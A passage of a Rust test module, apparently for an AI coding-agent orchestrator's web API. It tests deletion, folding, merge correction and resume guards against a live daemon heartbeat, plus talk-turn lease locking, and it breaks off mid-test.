23776        assert_eq!(
23777            find(&mid.id)["waits_on"],
23778            serde_json::json!([format!("{} (held)", root.short())])
23779        );
23780        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23781    }
23782
23783    #[tokio::test]
23784    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23785        let fx = Fixture::start().await;
23786        let q = fx.queue();
23787
23788        // 1. A queued task with runs attached can be deleted.
23789        let mut t1 = Task::new(
23790            "Task 1".to_owned(),
23791            "Instruction 1".to_owned(),
23792            PathBuf::from("/repo"),
23793            Source::Human,
23794        );
23795        let run_id = "20260901-000000-r111";
23796        t1.runs.push(run_id.to_owned());
23797        write_run(&fx.runs(), run_id, RunStatus::Merged);
23798        q.put(&mut t1).expect("put t1");
23799
23800        // Delete by short id
23801        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23802        assert_eq!(res.status, 204);
23803        assert!(res.body.is_empty(), "204 No Content has no body");
23804        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23805        assert!(
23806            fx.runs().join(run_id).exists(),
23807            "run directory must not be deleted when its task is deleted"
23808        );
23809
23810        // 2. A task a live daemon is running is refused with 409.
23811        let mut t2 = Task::new(
23812            "Task 2".to_owned(),
23813            "Instruction 2".to_owned(),
23814            PathBuf::from("/repo"),
23815            Source::Human,
23816        );
23817        t2.status = TaskStatus::Running;
23818        q.put(&mut t2).expect("put t2");
23819        let mut beat = crate::daemon::Status::new();
23820        beat.current = vec![crate::daemon::Current {
23821            worker: None,
23822            task: t2.id.clone(),
23823            run: "20260901-000000-r222".to_owned(),
23824        }];
23825        beat.updated_at = jiff::Timestamp::now();
23826        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23827            .expect("publish a heartbeat");
23828        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23829        assert_eq!(res.status, 409);
23830        assert!(
23831            res.json()["error"]
23832                .as_str()
23833                .unwrap()
23834                .contains("live daemon")
23835        );
23836        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23837
23838        // 3. The same `running` status and an orphaned lock, with no daemon
23839        // behind either, is a leftover and deletable. Before this the phone
23840        // refused it for good: the status never changes on its own and
23841        // nothing drops a lock whose process is gone.
23842        // The daemon is killed: the file stays, the heartbeat stops.
23843        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23844        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23845            .expect("leave a stale heartbeat");
23846        let mut t3 = Task::new(
23847            "Task 3".to_owned(),
23848            "Instruction 3".to_owned(),
23849            PathBuf::from("/repo"),
23850            Source::Human,
23851        );
23852        t3.status = TaskStatus::Running;
23853        q.put(&mut t3).expect("put t3");
23854        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23855        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23856        assert_eq!(res.status, 204);
23857        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23858        assert!(
23859            q.claim(&t3.id).is_ok(),
23860            "the stale lock went with it, so the id is claimable again"
23861        );
23862
23863        // 4. Missing id returns 404
23864        let res = fx.delete("/api/queue/nonexistent").await;
23865        assert_eq!(res.status, 404);
23866    }
23867
23868    #[tokio::test]
23869    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23870        let fx = Fixture::start().await;
23871        let runs = fx.runs();
23872
23873        // 1. Finished and folded run can be deleted along with artifacts
23874        let run_id = "20260901-000000-fold";
23875        let mut state = RunState::new(
23876            PathBuf::from("/repo"),
23877            "main".to_owned(),
23878            "abc".to_owned(),
23879            "instruction".to_owned(),
23880            Config::default(),
23881        );
23882        state.id = run_id.to_owned();
23883        state.status = RunStatus::Merged;
23884        state.candidates.push(crate::run::Candidate {
23885            index: 0,
23886            label: 'A',
23887            agent: "a".to_owned(),
23888            branch: "b".to_owned(),
23889            worktree: PathBuf::from("/w"),
23890            summary: String::new(),
23891            stat: String::new(),
23892            files: 1,
23893            commits: 1,
23894            empty: false,
23895            failed: None,
23896            verified_noop: None,
23897            duration_ms: 0,
23898            folded: true,
23899        });
23900        let dir = runs.join(run_id);
23901        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23902        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23903            .expect("write artifact");
23904        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23905            .expect("write run.json");
23906
23907        // Delete by short id
23908        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23909        assert_eq!(res.status, 204);
23910        assert!(res.body.is_empty(), "204 has no body");
23911        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23912
23913        // 2. A run a live daemon is working on is refused with 409. The
23914        // heartbeat is what makes it refusable: an unfinished run with no
23915        // daemon behind it is a leftover from a killed process, and case 1
23916        // above would otherwise be impossible to tell apart from this one.
23917        let run_running = "20260901-000000-rung";
23918        write_run(&runs, run_running, RunStatus::Prep);
23919        let mut beat = crate::daemon::Status::new();
23920        beat.current = vec![crate::daemon::Current {
23921            worker: None,
23922            task: "20260901-000000-task".to_owned(),
23923            run: run_running.to_owned(),
23924        }];
23925        beat.updated_at = jiff::Timestamp::now();
23926        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23927            .expect("publish a heartbeat");
23928        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23929        assert_eq!(res.status, 409);
23930        assert!(
23931            res.json()["error"]
23932                .as_str()
23933                .unwrap()
23934                .contains("live daemon"),
23935            "the refusal must say who is holding it"
23936        );
23937        assert!(
23938            runs.join(run_running).exists(),
23939            "a run in flight keeps its directory"
23940        );
23941
23942        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23943        let run_unfolded = "20260901-000000-unfd";
23944        let mut state2 = RunState::new(
23945            PathBuf::from("/repo"),
23946            "main".to_owned(),
23947            "abc".to_owned(),
23948            "instruction".to_owned(),
23949            Config::default(),
23950        );
23951        state2.id = run_unfolded.to_owned();
23952        state2.status = RunStatus::Ready;
23953        state2.candidates.push(crate::run::Candidate {
23954            index: 0,
23955            label: 'A',
23956            agent: "a".to_owned(),
23957            branch: "b".to_owned(),
23958            worktree: PathBuf::from("/w"),
23959            summary: String::new(),
23960            stat: String::new(),
23961            files: 1,
23962            commits: 1,
23963            empty: false,
23964            failed: None,
23965            verified_noop: None,
23966            duration_ms: 0,
23967            folded: false,
23968        });
23969        let dir2 = runs.join(run_unfolded);
23970        std::fs::create_dir_all(&dir2).expect("create dir2");
23971        std::fs::write(
23972            dir2.join("run.json"),
23973            serde_json::to_string(&state2).unwrap(),
23974        )
23975        .expect("write run.json");
23976
23977        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23978        assert_eq!(res.status, 409);
23979        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23980        assert!(dir2.exists(), "unfolded run directory is kept");
23981
23982        // 4. Missing id returns 404
23983        let res = fx.delete("/api/runs/nonexistent").await;
23984        assert_eq!(res.status, 404);
23985    }
23986
23987    /// The queue tiles on the Stats tab must render even on a home with no
23988    /// runs at all: queue state is not derived from run history, so hiding
23989    /// the whole dashboard body behind "no runs yet" would drop the one
23990    /// thing this tab promises unconditionally (queued/running/held/done).
23991    /// A DOM-level test would need a browser this suite does not have, so
23992    /// this pins the same invariant textually: `renderStatsQueue` is called
23993    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
23994    /// block that gates the run-derived panels.
23995    #[test]
23996    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23997        let start = APP_JS
23998            .find("function renderStats() {")
23999            .expect("renderStats");
24000        let end = start
24001            + APP_JS[start..]
24002                .find("function statsTile(")
24003                .expect("the next top-level function");
24004        let body = &APP_JS[start..end];
24005
24006        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
24007        let gate_end = gate_start
24008            + body[gate_start..]
24009                .find("}\n  renderStatsQueue")
24010                .expect("the gate's own closing brace, right before the unconditional call");
24011        let gated = &body[gate_start..gate_end];
24012
24013        assert_eq!(
24014            body.matches("renderStatsQueue(").count(),
24015            1,
24016            "renderStats must call renderStatsQueue exactly once: {body}"
24017        );
24018        assert!(
24019            !gated.contains("renderStatsQueue"),
24020            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
24021             run-derived panels on an empty run history - the queue panel has to render \
24022             regardless: {gated}"
24023        );
24024    }
24025
24026    #[test]
24027    fn web_ui_delete_contract_in_front_end() {
24028        // 1. API block has both delete endpoints
24029        assert!(APP_JS.contains("deleteRun:"));
24030        assert!(APP_JS.contains("deleteTask:"));
24031
24032        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
24033        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
24034            ..APP_JS.find("function renderRuns").unwrap()];
24035        assert!(!run_cards_slice.to_lowercase().contains("delete"));
24036
24037        // 3. Run detail has delete entry and reasons
24038        assert!(APP_JS.contains("renderRunDelete"));
24039        assert!(APP_JS.contains("runDeleteReason"));
24040        assert!(APP_JS.contains("magi fold"));
24041        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
24042
24043        // 4. Two-step delete arming and focus on Cancel
24044        assert!(APP_JS.contains("cancel.focus"));
24045        assert!(APP_JS.contains("armedRunDelete"));
24046        assert!(APP_JS.contains("renderTaskDeleteBox"));
24047        assert!(APP_JS.contains("armed${cap(key)}"));
24048
24049        // 5. Running task has disabled delete
24050        assert!(APP_JS.contains("disabled: status === \"running\""));
24051    }
24052
24053    /// Every element a run card's updater reaches for must be in the `refs`
24054    /// the builder handed it.
24055    ///
24056    /// `createRunCard` builds its elements, appends them to the card, and then
24057    /// lists them again in `row.refs`. That second list is the one the updater
24058    /// uses, and nothing connects the two - an element can be built, appended
24059    /// and rendered, and still be missing from `refs`. `superseded` was, for
24060    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
24061    /// exception took `syncList` with it, and the deck showed
24062    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
24063    /// line is computed before the cards, which is why the failure looked like
24064    /// a server that had lost its runs rather than a front end that had
24065    /// stopped rendering them.
24066    ///
24067    /// A `cargo test` cannot execute the front end, so this reads the two
24068    /// halves out of the source and compares them as sets. It is not a check
24069    /// on the wording of either list: adding an element, renaming one, or
24070    /// reordering them all keeps this passing, and only using one the builder
24071    /// never published fails it.
24072    #[test]
24073    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
24074        let build = APP_JS
24075            .find("function createRunCard")
24076            .expect("createRunCard exists");
24077        let update = APP_JS
24078            .find("function updateRunCard")
24079            .expect("updateRunCard exists");
24080        let end = APP_JS
24081            .find("function renderRuns")
24082            .expect("renderRuns exists");
24083
24084        // The builder's published set: the object literal assigned to `refs`.
24085        let builder = &APP_JS[build..update];
24086        let open = builder.find("refs = {").expect("createRunCard sets refs");
24087        let literal = &builder[open + "refs = {".len()..];
24088        let close = literal.find('}').expect("the refs literal is closed");
24089        let published: HashSet<&str> = literal[..close]
24090            .split(',')
24091            // `name` and `name: value` both bind `name`.
24092            .filter_map(|entry| entry.split(':').next())
24093            .map(str::trim)
24094            .filter(|name| !name.is_empty())
24095            .collect();
24096        assert!(
24097            published.len() > 5,
24098            "the refs literal did not parse into names: {published:?}"
24099        );
24100
24101        // What the updaters reach for: every `r.<name>`, where `r` is the
24102        // `const r = row.refs` alias both functions open with.
24103        let mut used: Vec<&str> = Vec::new();
24104        let updaters = &APP_JS[update..end];
24105        for (at, _) in updaters.match_indices("r.") {
24106            // `r` must be the whole identifier, not the tail of another one
24107            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
24108            let before = updaters[..at].chars().next_back();
24109            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
24110                continue;
24111            }
24112            let rest = &updaters[at + 2..];
24113            let len = rest
24114                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
24115                .unwrap_or(rest.len());
24116            if len > 0 {
24117                used.push(&rest[..len]);
24118            }
24119        }
24120        assert!(
24121            used.len() > 5,
24122            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
24123        );
24124
24125        let missing: Vec<&str> = used
24126            .iter()
24127            .copied()
24128            .filter(|name| !published.contains(name))
24129            .collect();
24130        assert!(
24131            missing.is_empty(),
24132            "a run card's updater reaches for {missing:?}, which `createRunCard` \
24133             never put in `refs` - every card will throw and the list will \
24134             render empty under a count line that says otherwise. Published: \
24135             {published:?}"
24136        );
24137    }
24138
24139    #[tokio::test]
24140    async fn folding_from_the_phone_reports_what_it_removed() {
24141        let fx = Fixture::start().await;
24142        let runs = fx.runs();
24143
24144        // A run with no candidates has nothing to fold, which is a 200 with an
24145        // honest count rather than an error: the operator asked for the trees
24146        // to be gone and they are.
24147        let id = "20260901-000000-fold";
24148        write_run(&runs, id, RunStatus::Stalled);
24149        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24150        assert_eq!(res.status, 200);
24151        assert_eq!(res.json()["removed_count"], 0);
24152        assert_eq!(res.json()["run"], id);
24153        assert!(
24154            runs.join(id).exists(),
24155            "a fold keeps the run's record; only the worktrees go"
24156        );
24157    }
24158
24159    /// `runs/<A>/run.json` holding run B's record is not run A: the phone's fold
24160    /// routes refuse it instead of folding B on A's say, and change nothing.
24161    #[tokio::test]
24162    async fn folding_a_record_that_names_another_run_is_refused() {
24163        let fx = Fixture::start().await;
24164        let runs = fx.runs();
24165        let (a, b) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24166        write_run(&runs, a, RunStatus::Stalled);
24167        write_run(&runs, b, RunStatus::Stalled);
24168        std::fs::copy(runs.join(b).join("run.json"), runs.join(a).join("run.json")).unwrap();
24169        let record = std::fs::read(runs.join(a).join("run.json")).unwrap();
24170
24171        let res = fx.post(&format!("/api/runs/{a}/fold"), None).await;
24172        assert_eq!(res.status, 500, "{}", res.body);
24173        assert!(res.body.contains("not run"), "{}", res.body);
24174        let res = fx
24175            .post(
24176                &format!("/api/runs/{a}/fold-merged"),
24177                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24178            )
24179            .await;
24180        assert_eq!(res.status, 500, "{}", res.body);
24181        assert_eq!(
24182            std::fs::read(runs.join(a).join("run.json")).unwrap(),
24183            record
24184        );
24185    }
24186
24187    #[tokio::test]
24188    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
24189        let fx = Fixture::start().await;
24190        let runs = fx.runs();
24191        let wt = fx.home.path().join("wt").join("magi").join("dead");
24192        let id = "20260901-000000-dead";
24193        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24194        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24195        std::fs::create_dir_all(&wt).expect("worktree dir");
24196
24197        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24198        assert_eq!(res.status, 200, "{}", res.body);
24199        assert!(
24200            res.json()["removed_count"].as_u64().unwrap() > 0,
24201            "the worktree this build could not read a state for still went"
24202        );
24203        assert!(
24204            !runs.join(id).exists(),
24205            "an unreadable run has no candidate list to fold selectively, so \
24206             the whole record goes - same as `magi fold` on the CLI"
24207        );
24208    }
24209
24210    #[tokio::test]
24211    async fn folding_a_record_of_another_run_in_a_refused_schema_is_an_identity_error() {
24212        let fx = Fixture::start().await;
24213        let runs = fx.runs();
24214        let id = "20260901-000000-mism";
24215        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24216        let record = br#"{"schema": 99999, "id": "20260901-000000-else"}"#.to_vec();
24217        std::fs::write(runs.join(id).join("run.json"), &record).expect("record");
24218
24219        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24220        assert_eq!(res.status, 500, "{}", res.body);
24221        assert!(
24222            res.json()["error"]
24223                .as_str()
24224                .unwrap()
24225                .contains("records run 20260901-000000-else"),
24226            "{}",
24227            res.body
24228        );
24229        assert_eq!(
24230            std::fs::read(runs.join(id).join("run.json")).unwrap(),
24231            record,
24232            "nothing is removed"
24233        );
24234    }
24235
24236    #[tokio::test]
24237    async fn deleting_an_unreadable_run_removes_it_wholesale() {
24238        let fx = Fixture::start().await;
24239        let runs = fx.runs();
24240        let wt = fx.home.path().join("wt").join("magi").join("gone");
24241        let id = "20260901-000000-gone";
24242        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24243        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24244        std::fs::create_dir_all(&wt).expect("worktree dir");
24245
24246        let res = fx.delete(&format!("/api/runs/{id}")).await;
24247        assert_eq!(res.status, 204, "{}", res.body);
24248        assert!(!runs.join(id).exists(), "the broken record is gone");
24249        assert!(!wt.exists(), "its worktree is gone too");
24250    }
24251
24252    #[tokio::test]
24253    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
24254        let fx = Fixture::start().await;
24255        let runs = fx.runs();
24256        let id = "20260901-000000-live";
24257        write_run(&runs, id, RunStatus::Implementing);
24258
24259        let mut beat = crate::daemon::Status::new();
24260        beat.current = vec![crate::daemon::Current {
24261            worker: None,
24262            task: "20260901-000000-task".to_owned(),
24263            run: id.to_owned(),
24264        }];
24265        beat.updated_at = jiff::Timestamp::now();
24266        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24267            .expect("publish a heartbeat");
24268
24269        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24270        assert_eq!(res.status, 409);
24271        assert!(
24272            res.json()["error"]
24273                .as_str()
24274                .unwrap()
24275                .contains("live daemon"),
24276            "folding under a running agent would pull its worktree away"
24277        );
24278    }
24279
24280    #[tokio::test]
24281    async fn fold_merged_requires_a_pr_url() {
24282        let fx = Fixture::start().await;
24283        let runs = fx.runs();
24284        let id = "20260901-000000-nourl";
24285        write_run(&runs, id, RunStatus::Blocked);
24286
24287        let res = fx
24288            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
24289            .await;
24290        assert_eq!(res.status, 400, "{}", res.body);
24291
24292        let blank = fx
24293            .post(
24294                &format!("/api/runs/{id}/fold-merged"),
24295                Some(r#"{"pr_url":"   "}"#),
24296            )
24297            .await;
24298        assert_eq!(blank.status, 400, "{}", blank.body);
24299    }
24300
24301    #[tokio::test]
24302    async fn fold_merged_is_404_for_an_unknown_run() {
24303        let fx = Fixture::start().await;
24304        let res = fx
24305            .post(
24306                "/api/runs/nosuchrun/fold-merged",
24307                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24308            )
24309            .await;
24310        assert_eq!(res.status, 404, "{}", res.body);
24311    }
24312
24313    #[tokio::test]
24314    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
24315        let fx = Fixture::start().await;
24316        let runs = fx.runs();
24317        let id = "20260901-000000-livemerge";
24318        write_run(&runs, id, RunStatus::Blocked);
24319
24320        let mut beat = crate::daemon::Status::new();
24321        beat.current = vec![crate::daemon::Current {
24322            worker: None,
24323            task: "20260901-000000-task".to_owned(),
24324            run: id.to_owned(),
24325        }];
24326        beat.updated_at = jiff::Timestamp::now();
24327        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24328            .expect("publish a heartbeat");
24329
24330        let res = fx
24331            .post(
24332                &format!("/api/runs/{id}/fold-merged"),
24333                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24334            )
24335            .await;
24336        assert_eq!(res.status, 409, "{}", res.body);
24337        assert!(
24338            res.json()["error"]
24339                .as_str()
24340                .unwrap()
24341                .contains("live daemon"),
24342            "correcting a run's merge underneath a running agent would race \
24343             whatever it is doing to the same `status`/`merge` fields"
24344        );
24345    }
24346
24347    /// A pull request `gh` cannot even ask about (no such remote, no such
24348    /// repository) must never be recorded as a merge on a guess - the same
24349    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
24350    /// command line, reached here through the phone route instead.
24351    #[tokio::test]
24352    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
24353        let fx = Fixture::start().await;
24354        let runs = fx.runs();
24355        let id = "20260901-000000-unconfirmed";
24356        write_run(&runs, id, RunStatus::Blocked);
24357
24358        let res = fx
24359            .post(
24360                &format!("/api/runs/{id}/fold-merged"),
24361                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24362            )
24363            .await;
24364        assert_eq!(res.status, 400, "{}", res.body);
24365        assert_eq!(
24366            read_run(&runs, id).unwrap().status,
24367            RunStatus::Blocked,
24368            "a pull request that could not be confirmed merged must leave \
24369             the run exactly where it was"
24370        );
24371    }
24372
24373    #[tokio::test]
24374    async fn terminal_runs_cannot_be_resumed() {
24375        let fx = Fixture::start().await;
24376        let runs = fx.runs();
24377
24378        for (status, word) in [
24379            (RunStatus::Merged, "merged"),
24380            (RunStatus::Ready, "ready"),
24381            (RunStatus::Failed, "failed"),
24382        ] {
24383            let id = format!("20260901-000000-{}", &word[..4]);
24384            write_run(&runs, &id, status);
24385            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
24386            assert_eq!(res.status, 409, "{word} must not be resumable");
24387        }
24388    }
24389
24390    #[tokio::test]
24391    async fn resume_is_refused_while_the_loop_is_running() {
24392        let fx = Fixture::start().await;
24393        let runs = fx.runs();
24394        let stalled = "20260901-000000-stal";
24395        write_run(&runs, stalled, RunStatus::Stalled);
24396
24397        // The loop is busy with a *different* run, and that is still a
24398        // refusal: a manual resume must never race whatever the loop itself
24399        // is already driving, whether that is one run or several.
24400        let mut beat = crate::daemon::Status::new();
24401        beat.current = vec![crate::daemon::Current {
24402            worker: None,
24403            task: "20260901-000000-task".to_owned(),
24404            run: "20260901-000000-othr".to_owned(),
24405        }];
24406        beat.updated_at = jiff::Timestamp::now();
24407        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24408            .expect("publish a heartbeat");
24409
24410        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
24411        assert_eq!(res.status, 409);
24412        let err = res.json()["error"].as_str().unwrap().to_owned();
24413        assert!(err.contains("othr"), "it names what the loop is on: {err}");
24414        assert!(err.contains("stop it first"), "{err}");
24415    }
24416
24417    #[test]
24418    fn a_run_cannot_be_resumed_twice_at_once() {
24419        let home = TempDir::new().expect("temp home");
24420        let ui = Ui::new(
24421            Queue::at(home.path().join("queue")),
24422            Questions::at(home.path().join("questions")),
24423            Talks::at(home.path().join("talks")),
24424            home.path().join("runs"),
24425            home.path().to_path_buf(),
24426            PathBuf::from("/repo"),
24427        )
24428        .with_worktrees_root(home.path().join("wt"));
24429        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
24430        let again = ui.begin_resume("20260901-000000-once");
24431        assert!(again.is_err(), "a second tap must not start a second graph");
24432        drop(first);
24433        assert!(
24434            ui.begin_resume("20260901-000000-once").is_ok(),
24435            "and the claim is released when the attempt ends"
24436        );
24437    }
24438
24439    #[test]
24440    fn talk_thinking_tracks_only_its_held_turn_claim() {
24441        let home = TempDir::new().expect("temp home");
24442        let ui = Ui::new(
24443            Queue::at(home.path().join("queue")),
24444            Questions::at(home.path().join("questions")),
24445            Talks::at(home.path().join("talks")),
24446            home.path().join("runs"),
24447            home.path().to_path_buf(),
24448            PathBuf::from("/repo"),
24449        )
24450        .with_worktrees_root(home.path().join("wt"));
24451        let id = "20260901-000000-once";
24452
24453        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
24454        let turn = ui.begin_talk_turn(id).expect("claim turn");
24455        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
24456        assert!(
24457            !ui.is_thinking("20260901-000000-other"),
24458            "one talk's turn does not make another talk busy"
24459        );
24460        drop(turn);
24461        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
24462    }
24463
24464    #[test]
24465    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
24466        let home = TempDir::new().expect("temp home");
24467        let talks = Talks::at(home.path().join("talks"));
24468        let ui = Ui::new(
24469            Queue::at(home.path().join("queue")),
24470            Questions::at(home.path().join("questions")),
24471            talks.clone(),
24472            home.path().join("runs"),
24473            home.path().to_path_buf(),
24474            PathBuf::from("/repo"),
24475        )
24476        .with_worktrees_root(home.path().join("wt"));
24477        let id = "20260901-000000-cross";
24478
24479        let other = Talks::at(home.path().join("talks"))
24480            .claim_turn(id)
24481            .expect("claim")
24482            .expect("the other process wins");
24483        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
24484        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
24485        assert!(
24486            matches!(
24487                ui.begin_talk_turn_unless_pending(id).expect("start"),
24488                TalkTurnStart::Foreign
24489            ),
24490            "a foreign holder is refused, not queued behind"
24491        );
24492        assert!(
24493            !ui.talk_turns.lock().unwrap().live.contains(id),
24494            "a refused claim leaves no in-process entry behind"
24495        );
24496        drop(other);
24497        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
24498        assert!(talks.turn_held(id), "the web turn holds the lease");
24499        drop(turn);
24500        assert!(
24501            !talks.turn_held(id),
24502            "dropping the guard releases the lease"
24503        );
24504    }
24505
24506    fn consult_question(ui: &Ui) -> Question {
24507        let mut q = Question::new(
24508            "20260901-000000-consult".to_owned(),
24509            "implement".to_owned(),
24510            "impl-A".to_owned(),
24511            "Which backend?".to_owned(),
24512            String::new(),
24513            vec!["SQLite".to_owned(), "Redis".to_owned()],
24514        );
24515        ui.questions.put(&mut q).expect("question");
24516        q
24517    }
24518
24519    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
24520        (
24521            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
24522            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
24523        )
24524    }
24525
24526    #[tokio::test]
24527    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
24528        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24529        let q = consult_question(&ui);
24530        let talk = ui.talks.get(&id).expect("talk");
24531        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
24532        let before = consult_snapshot(&ui, &q, &id);
24533        let cli_talks = Talks::at(ui.home.join("talks"));
24534        assert_eq!(
24535            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
24536                .await
24537                .expect("CLI starter"),
24538            crate::consult::Started::Busy
24539        );
24540        assert_eq!(consult_snapshot(&ui, &q, &id), before);
24541        assert!(ui.is_thinking(&id));
24542        drop(guard);
24543        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
24544    }
24545
24546    #[tokio::test]
24547    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
24548        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24549        let q = consult_question(&ui);
24550        let talk = ui.talks.get(&id).expect("talk");
24551        let started = tmp.path().join("started");
24552        let release = tmp.path().join("release");
24553        let script = tmp.path().join("consult-agent.sh");
24554        std::fs::write(
24555            &script,
24556            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
24557        )
24558        .expect("script");
24559        let mut cfg = stub_config();
24560        cfg.agents[0].id = "mock".to_owned();
24561        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
24562        cfg.agents[0].env = std::collections::BTreeMap::from([
24563            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
24564            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
24565        ]);
24566        let questions = ui.questions.clone();
24567        let cli_talks = Talks::at(ui.home.join("talks"));
24568        let cli_q = q.clone();
24569        let turn = tokio::spawn(async move {
24570            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
24571        });
24572        let ready = tokio::time::timeout(Duration::from_secs(30), async {
24573            while !started.exists() {
24574                tokio::time::sleep(Duration::from_millis(10)).await;
24575            }
24576        })
24577        .await;
24578        // Always release and join the agent, even if readiness or the web
24579        // request fails, so a failed assertion cannot leave a turn behind.
24580        let refusal = if ready.is_ok() {
24581            let before = consult_snapshot(&ui, &q, &id);
24582            let result = talk_say(
24583                State(Arc::clone(&ui)),
24584                Path(id.clone()),
24585                Ok(Json(NewTalkTurn {
24586                    reply_to: None,
24587                    text: "another message".to_owned(),
24588                    attachments: Vec::new(),
24589                })),
24590            )
24591            .await;
24592            Some((result, before, consult_snapshot(&ui, &q, &id)))
24593        } else {
24594            None
24595        };
24596        std::fs::write(&release, "").expect("release agent");
24597        let done = turn.await.expect("join CLI turn");
24598        ready.expect("agent started before deadline");
24599        let (result, before, after) = refusal.expect("web request");
24600        let error = result.expect_err("web must refuse the CLI's turn");
24601        assert_eq!(error.status, StatusCode::CONFLICT);
24602        assert!(error.message.contains("a turn is already running"));
24603        assert_eq!(
24604            after, before,
24605            "refusal preserves question, draft and history"
24606        );
24607        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
24608        let guard = ui
24609            .begin_talk_turn(&id)
24610            .expect("web claim")
24611            .expect("free again");
24612        drop(guard);
24613    }
24614
24615    #[test]
24616    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
24617        let home = TempDir::new().expect("temp home");
24618        let talks = Talks::at(home.path().join("talks"));
24619        let ui = Ui::new(
24620            Queue::at(home.path().join("queue")),
24621            Questions::at(home.path().join("questions")),
24622            talks.clone(),
24623            home.path().join("runs"),
24624            home.path().to_path_buf(),
24625            PathBuf::from("/repo"),
24626        )
24627        .with_worktrees_root(home.path().join("wt"));
24628        let id = "20260901-000000-order";
24629        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
24630        // Hold the slot mutex so the drop can finish the lease but not the slot.
24631        let slots = ui.talk_turns.lock().unwrap();
24632        let dropper = std::thread::spawn(move || drop(turn));
